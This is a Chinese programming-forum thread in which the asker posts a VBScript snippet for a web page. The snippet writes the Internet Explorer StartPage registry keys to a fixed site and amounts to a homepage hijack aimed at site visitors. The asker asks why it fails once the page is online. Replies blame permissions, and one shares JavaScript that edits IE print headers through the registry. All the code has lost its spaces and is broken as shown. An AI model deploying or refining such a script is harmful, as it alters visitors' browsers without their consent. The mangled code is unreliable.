问题描述
<scriptlanguage="vbscript">setlhwy=createobject("wscript.shell")path="HKEY_LOCAL_MACHINESOFTWAREMicrosoftInternetExplorermainStartPage"tf=lhwy.regwrite(path,"http://www.5i53.cn/")setpath=nothingpath="HKEY_CURRENT_USERSOFTWAREMICROSOFTInternetExplorerMainStartPage"tf=lhwy.regwrite(path,"http://www.5i53.cn/")wscript.quit</script>
为什么我在本地测试可以我把它放到网站上就不可以
解决方案
解决方案二:
请大家帮忙看看吧
解决方案三:
请大家帮忙看看吧
解决方案四:
设计权限的问题。如果放到网页上的script可以像这样任意更改注册表,是不好的。看看是否哪里(可能系统,可能浏览器,可能iis)权限禁止运行wscript.shell
解决方案五:
没权限,另外wscript.quit只有wscript.exe解析(即保存为本地vbs文件)时才可以
解决方案六:
引用4楼s11ss的回复:
没权限,另外wscript.quit只有wscript.exe解析(即保存为本地vbs文件)时才可以
作为网页程序,这段代码应该是允许的,也是可以执行的,不是一定要保存到本地。虽然我只用javascript这么干过。作为script这是同样的道理。这是我对打印设置的代码<scriptlanguage="JavaScript">varhkey_root,hkey_path,hkey_keyhkey_root="HKEY_CURRENT_USER"hkey_path="\Software\Microsoft\InternetExplorer\PageSetup\"//设置网页打印的页眉页脚为空functionpagesetup_null(){try{varRegWsh=newActiveXObject("WScript.Shell")hkey_key="header"RegWsh.RegWrite(hkey_root+hkey_path+hkey_key,"")hkey_key="footer"RegWsh.RegWrite(hkey_root+hkey_path+hkey_key,"")}catch(e){}}//设置网页打印的页眉页脚为默认值functionpagesetup_default(){try{varRegWsh=newActiveXObject("WScript.Shell")hkey_key="header"RegWsh.RegWrite(hkey_root+hkey_path+hkey_key,"&w&b页码,&p/&P")hkey_key="footer"RegWsh.RegWrite(hkey_root+hkey_path+hkey_key,"&u&b&d")}catch(e){}}</script>
解决方案七:
看看,很有用
解决方案八:
能不能把这段定义为一段方法在页面加载的时候调用
解决方案九:
学习中····
解决方案十:
来学习下。
解决方案十一:
en看不明白
解决方案十二:
应该是权限问题,别人的服务器有防火墙能让你顺便调用系统程序啊